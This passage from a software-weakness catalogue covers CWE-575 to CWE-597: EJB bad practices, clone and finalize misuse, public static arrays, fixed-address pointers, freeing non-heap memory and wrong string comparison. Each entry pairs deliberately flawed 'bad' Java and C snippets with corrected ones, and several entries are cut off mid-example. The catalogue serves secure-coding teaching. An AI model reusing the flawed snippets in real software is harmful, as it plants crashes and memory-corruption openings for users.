The following Java example is a simple converter class for converting US dollars to Yen. This converter class demonstrates the improper practice of using a stateless session Enterprise JavaBean that implements an AWT Component and AWT keyboard event listener to retrieve keyboard input from the user for the amount of the US dollars to convert to Yen.

Example Language: Java

(bad)

```
@Stateless
public class ConverterSessionBean extends Component implements KeyListener, ConverterSessionRemote {
    /* member variables for receiving keyboard input using AWT API */
    ...
    private StringBuffer enteredText = new StringBuffer();
    /* conversion rate on US dollars to Yen */
    private BigDecimal yenRate = new BigDecimal("115.3100");
    public ConverterSessionBean() {
        super();
        /* method calls for setting up AWT Component for receiving keyboard input */
        ...
        addKeyListener(this);
    }
    public BigDecimal dollarToYen(BigDecimal dollars) {
        BigDecimal result = dollars.multiply(yenRate);
        result.setScale(2, BigDecimal.ROUND_DOWN);
    }
    /* member functions for implementing AWT KeyListener interface */
    public void keyTyped(KeyEvent event) {
        ...
    }
    public void keyPressed(KeyEvent e) {
    }
    public void keyReleased(KeyEvent e) {
    }
    /* member functions for receiving keyboard input and displaying output */
    public void paint(Graphics g) {...}
    ...
}
```

This use of the AWT and Swing APIs within any kind of Enterprise JavaBean not only violates the restriction of the EJB specification against using AWT or Swing within an EJB but also violates the intended use of Enterprise JavaBeans to separate business logic from presentation logic.

The Stateless Session Enterprise JavaBean should contain only business logic. Presentation logic should be provided by some other mechanism such as Servlets or Java Server Pages (JSP) as in the following Java/JSP example.

Example Language: Java

(good)

```
@Stateless
public class ConverterSessionBean implements ConverterSessionRemoteInterface {
    /* conversion rate on US dollars to Yen */
    private BigDecimal yenRate = new BigDecimal("115.3100");
    public ConverterSessionBean() {
```

```

}
/* remote method to convert US dollars to Yen */
public BigDecimal dollarToYen(BigDecimal dollars) {
    BigDecimal result = dollars.multiply(yenRate);
    return result.setScale(2, BigDecimal.ROUND_DOWN);
}
}

```

Example Language: JSP

(good)

```

<%@ page import="converter.ejb.Converter, java.math.*, javax.naming.*"%>
<%!
private Converter converter = null;
public void jspInit() {
    try {
        InitialContext ic = new InitialContext();
        converter = (Converter) ic.lookup(Converter.class.getName());
    } catch (Exception ex) {
        System.out.println("Couldn't create converter bean." + ex.getMessage());
    }
}
public void jspDestroy() {
    converter = null;
}

String amount = request.getParameter("amount");
if ( amount != null && amount.length() > 0 ) {
    BigDecimal d = new BigDecimal(amount);
    BigDecimal yenAmount = converter.dollarToYen(d);

## CWE-576: EJB Bad Practices: Use of Java I/O

**Weakness ID** : 576**Status**: Draft**Structure** : Simple**Abstraction** : Variant

### Description

The program violates the Enterprise JavaBeans (EJB) specification by using the java.io package.

### Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not use the java.io package to attempt to access files and directories in the file system." The specification justifies this requirement in the following way: "The file system APIs are not well-suited for business components to access data. Business components should use a resource manager API, such as JDBC, to store data."

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

### Potential Mitigations

#### Phase: Implementation

Do not use Java I/O when writing EJBs.

### Demonstrative Examples

#### Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. In this example, the interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Java I/O API to retrieve the XML document from the local file system.

*Example Language: Java*

*(bad)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
    private Document interestRateXMLDocument = null;
    private File interestRateFile = null;
    public InterestRateBean() {
        try {
            /* get XML document from the local filesystem */
            interestRateFile = new File(Constants.INTEREST_RATE_FILE);
            if (interestRateFile.exists())
            {
```

```

        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db = dbf.newDocumentBuilder();
        interestRateXMLDocument = db.parse(interestRateFile);
    }
} catch (IOException ex) {...}
}
public BigDecimal getInterestRate(Integer points) {
    return getInterestRateFromXML(points);
}
/* member function to retrieve interest rate from XML document on the local file system */
private BigDecimal getInterestRateFromXML(Integer points) {...}
}
    
```

This use of the Java I/O API within any kind of Enterprise JavaBean violates the EJB specification by using the java.io package for accessing files within the local filesystem.

An Enterprise JavaBean should use a resource manager API for storing and accessing data. In the following example, the private member function getInterestRateFromXMLParser uses an XML parser API to retrieve the interest rates.

Example Language: Java

(good)

```

@Stateless
public class InterestRateBean implements InterestRateRemote {
    public InterestRateBean() {
    }
    public BigDecimal getInterestRate(Integer points) {
        return getInterestRateFromXMLParser(points);
    }
    /* member function to retrieve interest rate from XML document using an XML parser API */
    private BigDecimal getInterestRateFromXMLParser(Integer points) {...}
}
    
```

## CWE-577: EJB Bad Practices: Use of Sockets

<b>Weakness ID</b> : 577	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The program violates the Enterprise JavaBeans (EJB) specification by using sockets.

### Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "An enterprise bean must not attempt to listen on a socket, accept connections on a socket, or use a socket for multicast." The specification justifies this requirement in the following way: "The EJB architecture

allows an enterprise bean instance to be a network socket client, but it does not allow it to be a network server. Allowing the instance to become a network server would conflict with the basic function of the enterprise bean-- to serve the EJB clients."

## Relationships

## Common Consequences

Other	Quality Degradation	

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Do not use Sockets when writing EJBs.

## Demonstrative Examples

### Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves stock symbols and stock values. The Enterprise JavaBean creates a socket and listens for and accepts connections from clients on the socket.

*Example Language: Java*

*(bad)*

```
@Stateless
public class StockSymbolBean implements StockSymbolRemote {
    ServerSocket serverSocket = null;
    Socket clientSocket = null;
    public StockSymbolBean() {
        try {
            serverSocket = new ServerSocket(Constants.SOCKET_PORT);
        } catch (IOException ex) {...}
        try {
            clientSocket = serverSocket.accept();
        } catch (IOException e) {...}
    }
    public String getStockSymbol(String name) {...}
    public BigDecimal getStockValue(String symbol) {...}
    private void processClientInputFromSocket() {...}
}
```

And the following Java example is similar to the previous example but demonstrates the use of multicast socket connections within an Enterprise JavaBean.

*Example Language: Java*

*(bad)*

```
@Stateless
public class StockSymbolBean extends Thread implements StockSymbolRemote {
    ServerSocket serverSocket = null;
```

```

Socket clientSocket = null;
boolean listening = false;
public StockSymbolBean() {
    try {
        serverSocket = new ServerSocket(Constants.SOCKET_PORT);
    } catch (IOException ex) {...}
    listening = true;
    while(listening) {
        start();
    }
}
public String getStockSymbol(String name) {...}
public BigDecimal getStockValue(String symbol) {...}
public void run() {
    try {
        clientSocket = serverSocket.accept();
    } catch (IOException e) {...}
    ...
}
}

```

The previous two examples within any type of Enterprise JavaBean violate the EJB specification by attempting to listen on a socket, accepting connections on a socket, or using a socket for multicast.

## CWE-578: EJB Bad Practices: Use of Class Loader

<b>Weakness ID</b> : 578	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The program violates the Enterprise JavaBeans (EJB) specification by using the class loader.

### Extended Description

The Enterprise JavaBeans specification requires that every bean provider follow a set of programming guidelines designed to ensure that the bean will be portable and behave consistently in any EJB container. In this case, the program violates the following EJB guideline: "The enterprise bean must not attempt to create a class loader; obtain the current class loader; set the context class loader; set security manager; create a new security manager; stop the JVM; or change the input, output, and error streams." The specification justifies this requirement in the following way: "These functions are reserved for the EJB container. Allowing the enterprise bean to use these functions could compromise security and decrease the container's ability to properly manage the runtime environment."

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

Do not use the Class Loader when writing EJBs.

### Demonstrative Examples

#### Example 1:

The following Java example is a simple stateless Enterprise JavaBean that retrieves the interest rate for the number of points for a mortgage. The interest rates for various points are retrieved from an XML document on the local file system, and the EJB uses the Class Loader for the EJB class to obtain the XML document from the local file system as an input stream.

*Example Language: Java*

*(bad)*

```
@Stateless
public class InterestRateBean implements InterestRateRemote {
    private Document interestRateXMLDocument = null;
    public InterestRateBean() {
        try {
            // get XML document from the local filesystem as an input stream
            // using the ClassLoader for this class
            ClassLoader loader = this.getClass().getClassLoader();
            InputStream in = loader.getResourceAsStream(Constants.INTEREST_RATE_FILE);
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            interestRateXMLDocument = db.parse(interestRateFile);
        } catch (IOException ex) {...}
    }
    public BigDecimal getInterestRate(Integer points) {
        return getInterestRateFromXML(points);
    }
    /* member function to retrieve interest rate from XML document on the local file system */
    private BigDecimal getInterestRateFromXML(Integer points) {...}
}
```

This use of the Java Class Loader class within any kind of Enterprise JavaBean violates the restriction of the EJB specification against obtaining the current class loader as this could compromise the security of the application using the EJB.

#### Example 2:

An EJB is also restricted from creating a custom class loader and creating a class and instance of a class from the class loader, as shown in the following example.

Example Language: Java

(bad)

```

@Stateless
public class LoaderSessionBean implements LoaderSessionRemote {
    public LoaderSessionBean() {
        try {
            ClassLoader loader = new CustomClassLoader();
            Class c = loader.loadClass("someClass");
            Object obj = c.newInstance();
            /* perform some task that uses the new class instance member variables or functions */
            ...
        } catch (Exception ex) {...}
    }
    public class CustomClassLoader extends ClassLoader {
    }
}

```

## CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session

Weakness ID : 579

Status: Draft

Structure : Simple

Abstraction : Variant

### Description

The application stores a non-serializable object as an HttpSession attribute, which can hurt reliability.

### Extended Description

A J2EE application can make use of multiple JVMs in order to improve application reliability and performance. In order to make the multiple JVMs appear as a single application to the end user, the J2EE container can replicate an HttpSession object across multiple JVMs so that if one JVM becomes unavailable another can step in and take its place without disrupting the flow of the application. This is only possible if all session data is serializable, allowing the session to be duplicated between the JVMs.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ### Demonstrative Examples

#### Example 1:

The following class adds itself to the session, but because it is not serializable, the session can no longer be replicated.

*Example Language: Java*

```
public class DataGlob {

## CWE-580: clone() Method Without super.clone()

**Weakness ID** : 580

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The software contains a clone() method that does not call super.clone() to obtain the new object.

### Extended Description

All implementations of clone() should obtain the new object by calling super.clone(). If a class does not follow this convention, a subclass's clone() method will return an object of the wrong type.

#### Phase: Implementation

Call `super.clone()` within your `clone()` method, when obtaining a new object.

#### Phase: Implementation

In some cases, you can eliminate the clone method altogether and use copy constructors.

### Demonstrative Examples

#### Example 1:

The following two classes demonstrate a bug introduced by not calling `super.clone()`. Because of the way `Kibitzer` implements `clone()`, `FancyKibitzer`'s clone method will return an object of type `Kibitzer` instead of `FancyKibitzer`.

*Example Language: Java*

*(bad)*

```
public class Kibitzer {
    public Object clone() throws CloneNotSupportedException {
        Object returnMe = new Kibitzer();

## CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined

**Weakness ID** : 581

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The software does not maintain equal hashcodes for equal objects.

### Extended Description

Java objects are expected to obey a number of invariants related to equality. One of these invariants is that equal objects must have equal hashcodes. In other words, if `a.equals(b) == true` then `a.hashCode() == b.hashCode()`.

## CWE-582: Array Declared Public, Final, and Static

**Weakness ID :** 582

**Status:** Draft

**Structure :** Simple

**Abstraction :** Variant

### Description

The program declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified.

### Extended Description

Because arrays are mutable objects, the final constraint requires that the array object itself be assigned only once, but makes no guarantees about the values of the array elements. Since the array is public, a malicious program can change the values stored in the array. As such, in most cases an array declared public, final and static is a bug.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1327

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

### Background Details

Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running.

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

### Potential Mitigations

#### Phase: Implementation

In most situations the array should be made private.

### Demonstrative Examples

#### Example 1:

The following Java Applet code mistakenly declares an array public, final and static.

Example Language: Java

(bad)

```
public final class urlTool extends Applet {
    public final static URL[] urls;
    ...
}
```

## CWE-583: finalize() Method Declared Public

Weakness ID : 583

Status: Incomplete

Structure : Simple

Abstraction : Variant

### Description

The program violates secure coding principles for mobile code by declaring a finalize() method public.

### Extended Description

A program should never call finalize explicitly, except to call super.finalize() inside an implementation of finalize(). In mobile code situations, the otherwise error prone practice of manual garbage collection can become a security threat if an attacker can maliciously invoke a finalize() method because it is declared with public access.

### Relationships

### Common Consequences

Scope	Impact	Likelihood

Integrity	Execute Unauthorized Code or Commands	
Availability	Modify Application Data	

### Potential Mitigations

#### Phase: Implementation

If you are using finalize() as it was designed, there is no reason to declare finalize() with anything other than protected access.

### Demonstrative Examples

#### Example 1:

The following Java Applet code mistakenly declares a public finalize() method.

*Example Language: Java*

*(bad)*

```
public final class urlTool extends Applet {
    public void finalize() {
        ...

## CWE-584: Return Inside Finally Block

**Weakness ID** : 584

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The code has a return statement inside a finally block, which will cause any thrown exception in the try block to be discarded.

## CWE-585: Empty Synchronized Block

<b>Weakness ID</b> : 585	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software contains an empty synchronized block.

### Extended Description

An empty synchronized block does not actually accomplish any synchronization and may indicate a troubled section of code. An empty synchronized block can occur because code no longer needed within the synchronized block is commented out without removing the synchronized block.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ### Common Consequences

Scope	Impact	Likelihood

<p><i>An empty synchronized block will wait until nobody else is using the synchronizer being specified. While this may be part of the desired behavior, because you haven't protected the subsequent code by placing it inside the synchronized block, nothing is stopping somebody else from modifying whatever it was you were waiting for while you run the subsequent code.</i></p>		

### Potential Mitigations

#### Phase: Implementation

When you come across an empty synchronized statement, or a synchronized statement in which the code has been commented out, try to determine what the original intentions were and whether or not the synchronized block is still necessary.

### Demonstrative Examples

#### Example 1:

The following code attempts to synchronize on an object, but does not execute anything in the synchronized block. This does not actually accomplish anything and may be a sign that a programmer is wrestling with synchronization but has not yet achieved the result they intend.

Example Language: Java

(bad)

```
synchronized(this) { }
```

Instead, in a correct usage, the synchronized statement should contain procedures that access or modify data that is exposed to multiple threads. For example, consider a scenario in which several threads are accessing student records at the same time. The method which sets the student ID to a new value will need to make sure that nobody else is accessing this data at the same time and will require synchronization.

Example Language:

(good)

```
public void setID(int ID){
    synchronized(this){
        this.ID = ID;
    }
}
```

## CWE-586: Explicit Call to Finalize()

<b>Weakness ID</b> : 586	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

The software makes an explicit call to the finalize() method from outside the finalizer.

### Extended Description

While the Java Language Specification allows an object's finalize() method to be called from outside the finalizer, doing so is usually a bad idea. For example, calling finalize() explicitly means that finalize() will be called more than once: the first time will be the explicit call and the last time will be the call that is made after the object is garbage collected.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-587: Assignment of a Fixed Address to a Pointer

**Weakness ID :** 587

**Status:** Draft

**Structure :** Simple

**Abstraction :** Base

### Description

The software sets a pointer to a specific address other than NULL or 0.

### Extended Description

Using a fixed address is not portable, because that address will probably not be valid in all environments or platforms.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. **Indirect :**

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

**Language :** C# (Prevalence = Undetermined)

**Language** : Assembly (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Confidentiality Availability	<i>If one executes code at a known location, an attacker might be able to inject code there beforehand.</i>	
Availability	DoS: Crash, Exit, or Restart Reduce Maintainability Reduce Reliability	
	<i>If the code is ported to another platform or environment, the pointer is likely to be invalid and cause a crash.</i>	
Confidentiality Integrity	Read Memory Modify Memory	
	<i>The data at a known pointer location can be easily read or influenced by an attacker.</i>	

### Potential Mitigations

#### Phase: Implementation

Never set a pointer to a fixed address.

### Demonstrative Examples

#### Example 1:

This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.

*Example Language: C*

*(bad)*

```
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.
```

The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.

## CWE-590: Free of Memory not on the Heap

**Weakness ID :** 590

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Variant

### Description

The application calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc().

### Extended Description

When free() is called on an invalid pointer, the program's memory management data structures may become corrupted. This corruption can cause the program to crash or, in some circumstances, an attacker may be able to cause free() to operate on controllable memory locations to modify critical program variables or execute code.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		762	Mismatched Memory Management Routines	1431
CanPrecede		123	Write-what-where Condition	300

### Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Modify Memory	
Availability	<i>There is the potential for arbitrary code execution with privileges of the vulnerable program via a "write, what where" primitive. If pointers to memory which hold user information are freed, a malicious user will be able to write 4 bytes anywhere in memory.</i>	

### Potential Mitigations

#### Phase: Implementation

Only free pointers that you have called malloc on previously. This is the recommended solution. Keep track of which pointers point at the beginning of valid chunks and free them only once.

#### Phase: Implementation

Before freeing a pointer, the programmer should make sure that the pointer was previously allocated on the heap and that the memory belongs to the programmer. Freeing an unallocated pointer will cause undefined behavior in the program.

#### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

#### Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

#### Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

### Demonstrative Examples

#### Example 1:

In this example, an array of record\_t structs, bar, is allocated automatically on the stack as a local variable and the programmer attempts to call free() on the array. The consequences will vary based on the implementation of free(), but it will not succeed in deallocating the memory.

*Example Language: C*

*(bad)*

```
void foo(){
    record_t bar[MAX_SIZE];
    /* do something interesting with bar */
    ...
    free(bar);
}
```

This example shows the array allocated globally, as part of the data segment of memory and the programmer attempts to call free() on the array.

Example Language: C

(bad)

```
record_t bar[MAX_SIZE]; //Global var
void foo(){
    /* do something interesting with bar */
    ...
    free(bar);
}
```

Instead, if the programmer wanted to dynamically manage the memory, malloc() or calloc() should have been used.

Example Language:

(good)

```
void foo(){
    record_t *bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
    /* do something interesting with bar */
    ...
    free(bar);
}
```

Additionally, you can pass global variables to free() when they are pointers to dynamically allocated memory.

Example Language:

(good)

```
record_t *bar; //Global var
void foo(){
    bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
    /* do something interesting with bar */
    ...
    free(bar);
}
```

In C++, if the new operator was used to allocate the memory, it may be allocated with the malloc(), calloc() or realloc() family of functions in the implementation. Someone aware of this behavior might choose to map this problem to CWE-590 or to its parent, CWE-762, depending on their perspective.

## CWE-591: Sensitive Data Storage in Improperly Locked Memory

**Weakness ID** : 591

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The application stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.

### Extended Description

On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.

## CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created

Weakness ID : 593

Status: Draft

Structure : Simple

Abstraction : Variant

### Description

The software modifies the SSL context after connection creation has begun.

### Extended Description

If the program modifies the SSL\_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>No authentication takes place in this process, bypassing an assumed protection of encryption.</i>	
Confidentiality	Read Application Data  <i>The encrypted communication between a user and a trusted host may be subject to a sniffing attack.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Use a language or a library that provides a cryptography framework at a higher level of abstraction.

#### Phase: Implementation

Most SSL\_CTX functions have SSL counterparts that act on SSL-type objects.

#### Phase: Implementation

Applications should set up an SSL\_CTX completely, before creating SSL objects from it.

### Demonstrative Examples

#### Example 1:

The following example demonstrates the weakness.

*Example Language: C*

## CWE-594: J2EE Framework: Saving Unserializable Objects to Disk

<b>Weakness ID</b> : 594	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully.

### Extended Description

In heavy load conditions, most J2EE application frameworks flush objects to disk to manage memory requirements of incoming requests. For example, session scoped objects, and even application scoped objects, are written to disk when required. While these application frameworks do the real work of writing objects to disk, they do not enforce that those objects be serializable, thus leaving the web application vulnerable to crashes induced by serialization failure. An attacker may be able to mount a denial of service attack by sending enough requests to the server to force the web application to save objects to disk.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1390

### Weakness Ordinalities

**Indirect** :

**Primary** :

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data  <i>Data represented by unserializable objects can be corrupted.</i>	
Availability	DoS: Crash, Exit, or Restart  <i>Non-serializability of objects can lead to system crash.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

All objects that become part of session and application scope must implement the `java.io.Serializable` interface to ensure serializability of containing objects.

**Demonstrative Examples****Example 1:**

In the following Java example, a Customer Entity JavaBean provides access to customer information in a database for a business application. The Customer Entity JavaBean is used as a session scoped object to return customer information to a Session EJB.

*Example Language: Java*

*(bad)*

```
@Entity
public class Customer {
    private String id;
    private String firstName;
    private String lastName;
    private Address address;
    public Customer() {
    }
    public Customer(String id, String firstName, String lastName) {...}
    @Id
    public String getCustomerId() {...}
    public void setCustomerId(String id) {...}
    public String getFirstName() {...}
    public void setFirstName(String firstName) {...}
    public String getLastName() {...}
    public void setLastName(String lastName) {...}
    @OneToOne()
    public Address getAddress() {...}
    public void setAddress(Address address) {...}
}
```

However, the Customer Entity JavaBean is an unserialized object which can cause serialization failure and crash the application when the J2EE container attempts to write the object to the system. Session scoped objects must implement the `Serializable` interface to ensure that the objects serialize properly.

*Example Language: Java*

*(good)*

```
public class Customer implements Serializable {...}
```

**CWE-595: Comparison of Object References Instead of Object Contents**

**Weakness ID :** 595

**Status:** Incomplete

**Structure :** Simple

**Abstraction** : Variant

## Description

The program compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.

## Extended Description

For example, in Java, comparing objects using == usually produces deceptive results, since the == operator compares object references rather than values; often, this means that using == for strings is actually comparing the strings' references, not their values.

## Relationships

## Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context  <i>This weakness can lead to erroneous results that can cause unexpected application behaviors.</i>	

## Potential Mitigations

### Phase: Implementation

In Java, use the equals() method to compare objects instead of the == operator. If using ==, it is important for performance reasons that your objects are created by a static factory, not by a constructor.

## Demonstrative Examples

### Example 1:

In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.

Example Language: Java

(bad)

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Example Language:

(good)

```
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

### Example 2:

In the following Java example, two BankAccount objects are compared in the isSameAccount method using the == operator.

Example Language: Java

(bad)

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
    return accountA == accountB;
}
```

Using the == operator to compare objects may produce incorrect or deceptive results by comparing object references rather than values. The equals() method should be used to ensure correct results or objects should contain a member variable that uniquely identifies the object.

The following example shows the use of the equals() method to compare the BankAccount objects and the next example uses a class get method to retrieve the bank account number that uniquely identifies the BankAccount object to compare the objects.

Example Language: Java

(good)

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
    return accountA.equals(accountB);
}
```

## CWE-597: Use of Wrong Operator in String Comparison

**Weakness ID** : 597

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses the wrong operator when comparing a string, such as using "==" when the .equals() method should be used instead.

### Extended Description

In Java, using == or != to compare two strings for equality actually compares two objects for equality rather than their string values for equality. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, the unintended comparison result could be leveraged to affect program security.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Common Consequences

Scope	Impact	Likelihood
Other	Other	

### Potential Mitigations

#### Phase: Implementation

Within Java, use `.equals()` to compare string values. Within JavaScript, use `==` to compare string values. Within PHP, use `==` to compare a numeric value to a string value. (PHP converts the string to a number.)

*Effectiveness = High*

### Demonstrative Examples

#### Example 1:

In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.

*Example Language: Java*

*(bad)*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the `=="` operator. For Java objects, such as String objects, the `=="` operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the `System.out.println` statement will not be executed. To compare object values, the previous code could be modified to use the `equals` method:

*Example Language:*

*(good)*

```
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

#### Example 2:

In the example below, three JavaScript variables are declared and initialized with the same values. Note that JavaScript will change a value between numeric and string as needed, which is the reason an integer is included with the strings. An if statement is used to determine whether the values are the same.

*Example Language: JavaScript*

*(bad)*

```
<p id="ieq3s1" type="text">(i === s1) is FALSE</p>
<p id="s4eq3i" type="text">(s4 === i) is FALSE</p>
<p id="s4eq3s1" type="text">(s4 === s1) is FALSE</p>
var i = 65;
var s1 = '65';
var s4 = new String('65');
if (i === s1)
{
    document.getElementById("ieq3s1").innerHTML = "(i === s1) is TRUE";
}
if (s4 === i)
```

```

{
  document.getElementById("s4eq3i").innerHTML = "(s4 === i) is TRUE";
}
if (s4 === s1)
{
  document.getElementById("s4eq3s1").innerHTML = "(s4 === s1) is TRUE";
}

```

